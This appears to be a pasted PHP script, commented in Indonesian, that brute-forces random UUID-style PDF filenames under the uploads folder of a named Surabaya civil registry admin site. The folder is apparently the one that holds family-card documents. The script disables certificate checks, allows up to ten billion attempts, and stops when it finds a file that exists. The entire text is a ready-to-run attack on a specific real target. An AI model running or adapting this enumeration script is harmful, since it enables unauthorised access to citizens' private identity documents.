Untitled
unknown
plain_text
2 years ago
1.7 kB
10
Indexable
Never
<?php function check($url, $respond) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $exec = curl_exec($ch); if(strpos($exec, $respond) !== FALSE) { echo "Not Found\n"; } else { echo "Found\n"; exit(); } } function generateRandomString($length) { return substr(str_shuffle(str_repeat($x='1234567890abcdefghijklmnopqrstuvwxyz', ceil($length/strlen($x)) )),1,$length); } #setPanjangRandDisini# $panjangrand = "8"; $panjangrand1 = "4"; $panjangrand2 = "4"; $panjangrand3 = "4"; $panjangrand4 = "12"; if(empty($panjangrand)) { echo "PanjangRand Kosong, Silahkan Ganti Di Line 19\n"; exit(); } #setBerapaKaliDiBrute# $total = "9999999999"; if(empty($total)) { echo "Total BruteForce Kosong, silahan Ganti Di Line 25\n"; exit(); } #SetURLDisini# $url1 = 'https://admin.lampid.disdukcapilsurabaya.id/static/uploads/kk'; if(empty($url1)) { echo "URL Kosong, silahan Ganti Di Line 31\n"; exit(); } #SetRespondDisini# $respond = 'This page could not be found'; if(empty($respond)) { echo "Respond 404 Kosong, silahan Ganti Di Line 37\n"; exit(); } echo "Memulai BruteForce [$url1] Dengan Panjang [$panjangrand]|[$panjangrand1]|[$panjangrand2]|[$panjangrand3]|[$panjangrand4] sebanyak [".$total."x]\n"; echo "Respond 404 : $respond\n"; $start = 1; for($i=1;$i<$total+1;$i++) { $url = ''.$url1.'_'.generateRandomString($panjangrand).'_'.generateRandomString($panjangrand1).'_'.generateRandomString($panjangrand2).'_'.generateRandomString($panjangrand3).'_'.generateRandomString($panjangrand4).'.pdf'; echo "[$start/$total] $url => "; echo check($url, $respond); $start++; } ?>